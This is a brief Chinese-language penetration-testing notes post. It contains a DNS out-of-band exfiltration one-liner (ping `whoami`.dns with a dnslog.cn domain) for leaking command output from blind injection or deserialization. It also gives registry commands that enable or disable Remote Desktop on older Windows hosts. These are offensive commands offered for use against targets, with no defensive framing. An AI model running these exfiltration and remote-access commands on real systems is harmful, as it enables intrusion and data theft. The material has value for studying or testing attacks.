Web渗透随记

DNS外带

平台：

http://dnslog.cn/ #需要生成随机DNS

使用：

ping `whoami`.dns

（注：``为优先运行符，可以用$()代替）

适用：

注入、反序列化、命令执行等无回显情况下，外带数据看结果

Windows开启3389端口

注：Win7、Win2003、XP系统

开启：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f